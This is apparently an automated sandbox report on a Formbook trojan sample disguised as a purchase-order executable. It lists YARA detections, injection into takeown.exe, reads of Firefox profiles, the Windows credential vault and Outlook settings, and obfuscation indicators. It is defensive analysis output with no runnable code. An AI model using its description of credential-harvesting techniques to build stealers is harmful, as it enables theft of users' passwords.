Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_0330A040 6_2_0330A040
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_032EC7A0 6_2_032EC7A0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_032EC797 6_2_032EC797
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_032EAA37 6_2_032EAA37
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_032EAA40 6_2_032EAA40
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_032EC9C0 6_2_032EC9C0
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_032F30F0 6_2_032F30F0
Found potential string decryption / allocating functions
Source: C:\Windows\SysWOW64\takeown.exe Code function: String function: 03AE5130 appears 58 times
Source: C:\Windows\SysWOW64\takeown.exe Code function: String function: 03B2F290 appears 105 times
Source: C:\Windows\SysWOW64\takeown.exe Code function: String function: 03A9B970 appears 280 times
Source: C:\Windows\SysWOW64\takeown.exe Code function: String function: 03AF7E54 appears 111 times
Source: C:\Windows\SysWOW64\takeown.exe Code function: String function: 03B1EA12 appears 86 times
Source: C:\Users\user\Desktop\PO0423023.exe Code function: String function: 01A3EA12 appears 86 times
Source: C:\Users\user\Desktop\PO0423023.exe Code function: String function: 01A05130 appears 58 times
Source: C:\Users\user\Desktop\PO0423023.exe Code function: String function: 01A17E54 appears 111 times
Source: C:\Users\user\Desktop\PO0423023.exe Code function: String function: 019BB970 appears 280 times
Source: C:\Users\user\Desktop\PO0423023.exe Code function: String function: 01A4F290 appears 105 times
PE / OLE file has an invalid certificate
Source: PO0423023.exe Static PE information: invalid certificate
Sample file is different than original file name gathered from version info
Source: PO0423023.exe, 00000000.00000002.2030982968.0000000002471000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameSimpleLogin.dll8 vs PO0423023.exe
Source: PO0423023.exe, 00000000.00000002.2030139220.000000000083E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameclr.dllT vs PO0423023.exe
Source: PO0423023.exe, 00000000.00000002.2036859525.0000000004CE0000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilenameSimpleLogin.dll8 vs PO0423023.exe
Source: PO0423023.exe, 00000000.00000002.2041089524.0000000009800000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilenameTyrone.dll8 vs PO0423023.exe
Source: PO0423023.exe, 00000000.00000002.2032569464.0000000003E4E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameTyrone.dll8 vs PO0423023.exe
Source: PO0423023.exe, 00000003.00000002.2489820971.0000000001ABD000.00000040.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFilenamentdll.dllj% vs PO0423023.exe
Source: PO0423023.exe, 00000003.00000002.2489347958.0000000001538000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenametakeown.exej% vs PO0423023.exe
Source: PO0423023.exe, 00000003.00000002.2489347958.000000000155C000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenametakeown.exej% vs PO0423023.exe
Source: PO0423023.exe Binary or memory string: OriginalFilenametLYg.exeX vs PO0423023.exe
Uses 32bit PE files
Source: PO0423023.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Yara signature match
Source: 3.2.PO0423023.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 3.2.PO0423023.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000008.00000002.3265262776.0000000005940000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.2489011998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.3262815289.00000000038C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.2491778083.0000000001CE0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.3262551392.00000000036A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.3261184136.00000000032E0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.3262636915.0000000002A20000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.2491943456.0000000001DA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: PO0423023.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 0.2.PO0423023.exe.9800000.13.raw.unpack, PvCYnyOPvX6W6wBKo1.cs Security API names: _0020.SetAccessControl
Source: 0.2.PO0423023.exe.9800000.13.raw.unpack, PvCYnyOPvX6W6wBKo1.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.PO0423023.exe.9800000.13.raw.unpack, PvCYnyOPvX6W6wBKo1.cs Security API names: _0020.AddAccessRule
Source: 0.2.PO0423023.exe.4073bd0.9.raw.unpack, PvCYnyOPvX6W6wBKo1.cs Security API names: _0020.SetAccessControl
Source: 0.2.PO0423023.exe.4073bd0.9.raw.unpack, PvCYnyOPvX6W6wBKo1.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.PO0423023.exe.4073bd0.9.raw.unpack, PvCYnyOPvX6W6wBKo1.cs Security API names: _0020.AddAccessRule
Source: 0.2.PO0423023.exe.4073bd0.9.raw.unpack, StKVUPZcBlUxaFRHDJ.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.PO0423023.exe.40f75f0.8.raw.unpack, StKVUPZcBlUxaFRHDJ.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.PO0423023.exe.9800000.13.raw.unpack, StKVUPZcBlUxaFRHDJ.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.PO0423023.exe.40f75f0.8.raw.unpack, PvCYnyOPvX6W6wBKo1.cs Security API names: _0020.SetAccessControl
Source: 0.2.PO0423023.exe.40f75f0.8.raw.unpack, PvCYnyOPvX6W6wBKo1.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.PO0423023.exe.40f75f0.8.raw.unpack, PvCYnyOPvX6W6wBKo1.cs Security API names: _0020.AddAccessRule
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@7/2@4/4
Source: C:\Users\user\Desktop\PO0423023.exe File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\PO0423023.exe.log Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Mutant created: NULL
Source: C:\Windows\SysWOW64\takeown.exe File created: C:\Users\user\AppData\Local\Temp\43PI9J Jump to behavior
Source: PO0423023.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: PO0423023.exe Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.98%
Source: C:\Program Files\Mozilla Firefox\firefox.exe File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: takeown.exe, 00000006.00000003.2678820495.0000000003603000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOIN ;`
Source: takeown.exe, 00000006.00000002.3261394399.0000000003624000.00000004.00000020.00020000.00000000.sdmp, takeown.exe, 00000006.00000003.2678820495.0000000003624000.00000004.00000020.00020000.00000000.sdmp, takeown.exe, 00000006.00000002.3261394399.0000000003651000.00000004.00000020.00020000.00000000.sdmp, takeown.exe, 00000006.00000002.3261394399.000000000362F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: PO0423023.exe Virustotal: Detection: 35%
Source: PO0423023.exe ReversingLabs: Detection: 31%
Source: C:\Users\user\Desktop\PO0423023.exe File read: C:\Users\user\Desktop\PO0423023.exe:Zone.Identifier Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\PO0423023.exe "C:\Users\user\Desktop\PO0423023.exe"
Source: C:\Users\user\Desktop\PO0423023.exe Process created: C:\Users\user\Desktop\PO0423023.exe "C:\Users\user\Desktop\PO0423023.exe"
Source: C:\Program Files (x86)\BfhsBJESSmvrxvvTUcmuRbsoDWHhTcMOtxhWkIEDZkirMcGdurpwUW\uFKwxSqRZbIimWVtjS.exe Process created: C:\Windows\SysWOW64\takeown.exe "C:\Windows\SysWOW64\takeown.exe"
Source: C:\Windows\SysWOW64\takeown.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\PO0423023.exe Process created: C:\Users\user\Desktop\PO0423023.exe "C:\Users\user\Desktop\PO0423023.exe" Jump to behavior
Source: C:\Program Files (x86)\BfhsBJESSmvrxvvTUcmuRbsoDWHhTcMOtxhWkIEDZkirMcGdurpwUW\uFKwxSqRZbIimWVtjS.exe Process created: C:\Windows\SysWOW64\takeown.exe "C:\Windows\SysWOW64\takeown.exe" Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe" Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Section loaded: dwrite.dll Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe Section loaded: ieframe.dll Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe Section loaded: netapi32.dll Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe Section loaded: mlang.dll Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe Section loaded: winsqlite3.dll Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe Section loaded: vaultcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Program Files (x86)\BfhsBJESSmvrxvvTUcmuRbsoDWHhTcMOtxhWkIEDZkirMcGdurpwUW\uFKwxSqRZbIimWVtjS.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Program Files (x86)\BfhsBJESSmvrxvvTUcmuRbsoDWHhTcMOtxhWkIEDZkirMcGdurpwUW\uFKwxSqRZbIimWVtjS.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Program Files (x86)\BfhsBJESSmvrxvvTUcmuRbsoDWHhTcMOtxhWkIEDZkirMcGdurpwUW\uFKwxSqRZbIimWVtjS.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Program Files (x86)\BfhsBJESSmvrxvvTUcmuRbsoDWHhTcMOtxhWkIEDZkirMcGdurpwUW\uFKwxSqRZbIimWVtjS.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Program Files (x86)\BfhsBJESSmvrxvvTUcmuRbsoDWHhTcMOtxhWkIEDZkirMcGdurpwUW\uFKwxSqRZbIimWVtjS.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Program Files (x86)\BfhsBJESSmvrxvvTUcmuRbsoDWHhTcMOtxhWkIEDZkirMcGdurpwUW\uFKwxSqRZbIimWVtjS.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32 Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\ Jump to behavior
Source: PO0423023.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
Source: PO0423023.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: PO0423023.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: tLYg.pdb source: PO0423023.exe
Source: Binary string: takeown.pdbGCTL source: PO0423023.exe, 00000003.00000002.2489347958.0000000001538000.00000004.00000020.00020000.00000000.sdmp, uFKwxSqRZbIimWVtjS.exe, 00000005.00000002.3262104447.0000000000E88000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: uFKwxSqRZbIimWVtjS.exe, 00000005.00000000.2409064441.000000000009E000.00000002.00000001.01000000.0000000D.sdmp, uFKwxSqRZbIimWVtjS.exe, 00000008.00000000.2565630013.000000000009E000.00000002.00000001.01000000.0000000D.sdmp
Source: Binary string: wntdll.pdbUGP source: PO0423023.exe, 00000003.00000002.2489820971.0000000001990000.00000040.00001000.00020000.00000000.sdmp, takeown.exe, 00000006.00000002.3262997035.0000000003C0E000.00000040.00001000.00020000.00000000.sdmp, takeown.exe, 00000006.00000003.2489739936.0000000003718000.00000004.00000020.00020000.00000000.sdmp, takeown.exe, 00000006.00000002.3262997035.0000000003A70000.00000040.00001000.00020000.00000000.sdmp, takeown.exe, 00000006.00000003.2492243743.00000000038C1000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: takeown.pdb source: PO0423023.exe, 00000003.00000002.2489347958.0000000001538000.00000004.00000020.00020000.00000000.sdmp, uFKwxSqRZbIimWVtjS.exe, 00000005.00000002.3262104447.0000000000E88000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: tLYg.pdbSHA256 source: PO0423023.exe
Source: Binary string: wntdll.pdb source: PO0423023.exe, PO0423023.exe, 00000003.00000002.2489820971.0000000001990000.00000040.00001000.00020000.00000000.sdmp, takeown.exe, takeown.exe, 00000006.00000002.3262997035.0000000003C0E000.00000040.00001000.00020000.00000000.sdmp, takeown.exe, 00000006.00000003.2489739936.0000000003718000.00000004.00000020.00020000.00000000.sdmp, takeown.exe, 00000006.00000002.3262997035.0000000003A70000.00000040.00001000.00020000.00000000.sdmp, takeown.exe, 00000006.00000003.2492243743.00000000038C1000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation
barindex
.NET source code contains potential unpacker
Source: PO0423023.exe, MainForm.cs .Net Code: InitializeComponent
Source: 0.2.PO0423023.exe.24942b8.1.raw.unpack, HomeView.cs .Net Code: System.Reflection.Assembly.Load(byte[])
Source: 0.2.PO0423023.exe.9800000.13.raw.unpack, PvCYnyOPvX6W6wBKo1.cs .Net Code: ugnK4QxgU4 System.Reflection.Assembly.Load(byte[])
Source: 0.2.PO0423023.exe.4073bd0.9.raw.unpack, PvCYnyOPvX6W6wBKo1.cs .Net Code: ugnK4QxgU4 System.Reflection.Assembly.Load(byte[])
Source: 0.2.PO0423023.exe.4ce0000.10.raw.unpack, HomeView.cs .Net Code: System.Reflection.Assembly.Load(byte[])
Source: 0.2.PO0423023.exe.40f75f0.8.raw.unpack, PvCYnyOPvX6W6wBKo1.cs .Net Code: ugnK4QxgU4 System.Reflection.Assembly.Load(byte[])
Source: 6.2.takeown.exe.40dcd08.2.raw.unpack, MainForm.cs .Net Code: InitializeComponent
Source: 8.0.uFKwxSqRZbIimWVtjS.exe.350cd08.1.raw.unpack, MainForm.cs .Net Code: InitializeComponent
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 0_2_09480849 push esp; iretd 0_2_09480851
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 0_2_09483EB8 push esp; iretd 0_2_09483EB9
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_00405053 push ebx; retf 3_2_00405057
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_004120FD push ebx; retf 3_2_004121FA
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_0041188E push EFD03D13h; retf 3_2_00411893
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_0040E197 push ecx; retf 3_2_0040E19A
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_0041A996 push ss; iretd 3_2_0041A997
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_004121B7 push ebx; retf 3_2_004121FA
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_00415A03 push esi; iretd 3_2_00415A0E
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_00401A08 push B865D3CCh; retf 3_2_00401A07
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_004082D1 push eax; retf 3_2_004082DB
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_0040A468 push ebp; iretd 3_2_0040A477
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_0040A4D5 push eax; ret 3_2_0040A4D6
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_00401570 push 3D820602h; retn 74BEh 3_2_004016E4
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_0040A534 push FFFFFFDDh; ret 3_2_0040A562
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_004115A3 pushad ; retf 3_2_004115E4
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_0040CE60 push ebx; ret 3_2_0040CE61
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_00403610 push eax; ret 3_2_00403612
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_004186FC push ss; ret 3_2_00418707
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_004077C6 pushfd ; ret 3_2_004077C9
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_0199225F pushad ; ret 3_2_019927F9
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019927FA pushad ; ret 3_2_019927F9
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019C09AD push ecx; mov dword ptr [esp], ecx 3_2_019C09B6
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_0199283D push eax; iretd 3_2_01992858
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01991200 push eax; iretd 3_2_01991369
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_03AA09AD push ecx; mov dword ptr [esp], ecx 6_2_03AA09B6
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_032F23F0 push esi; iretd 6_2_032F23FB
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_032EE27B push EFD03D13h; retf 6_2_032EE280
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_032E41B3 pushfd ; ret 6_2_032E41B6
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_0330260F push esi; iretd 6_2_03302610
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_033024E9 push ebx; ret 6_2_03302526
Source: PO0423023.exe Static PE information: section name: .text entropy: 7.9832865551635095
Source: 0.2.PO0423023.exe.9800000.13.raw.unpack, ltE0avI4I0hyZvCU5j.cs High entropy of concatenated method names: 'k771sxJFPM', 'UDW1LtmPYL', 'lRA1KmyU3N', 'mOR1bSQNMj', 'ldS1ua6SUB', 'NrG12Ukn7a', 'Ymx1fkOpIx', 'DFXtpZ3ceD', 'lRDtoydspg', 'ufWt7nZ3g0'
Source: 0.2.PO0423023.exe.9800000.13.raw.unpack, NVxuErESiai0KcC7Cu.cs High entropy of concatenated method names: 'XKgEouNM97', 'M8AE3oDqip', 'ipMtwrrcF2', 'u8sts2SMjM', 'MtVEkQrTDX', 'toqEd6wkyd', 'nRvEZfQY1C', 'g3bE5cjf84', 'UB8ExW2Qub', 'gXMEvqX7My'
Source: 0.2.PO0423023.exe.9800000.13.raw.unpack, bN4uOtxHXvrsGksFasU.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'DrQc5oCk5J', 'Juxcxa40FQ', 'DjXcvWtZ2G', 'LhycQVhl13', 'zf5cSAPley', 'N4icmuwOFN', 'XYXcpaD39L'
Source: 0.2.PO0423023.exe.9800000.13.raw.unpack, zrXBMPXMSZEvUKF6Q6.cs High entropy of concatenated method names: 'ni6tbDmnMW', 'Bb7tu0QyvS', 'a3Ftijm6YV', 'GHft2fX6JI', 'OAqtfkAPaf', 'uXctCBy7cp', 'hAmtBfyhnw', 'XNEtltMI9y', 'BFHtgoIW6i', 'AuGtGjYbZ0'
Source: 0.2.PO0423023.exe.9800000.13.raw.unpack, SxhSIR6Z7u1wCxw4Af.cs High entropy of concatenated method names: 'ToString', 'fyZPk0XOhk', 'v6CP68RBi1', 'pR3PD8JgHZ', 'sTbPHgwd4R', 'j3RPN6MDka', 'TNmPVe5eYg', 'keCPTAF0jy', 'f2OPqw7eTp', 'IioPOKZvIp'
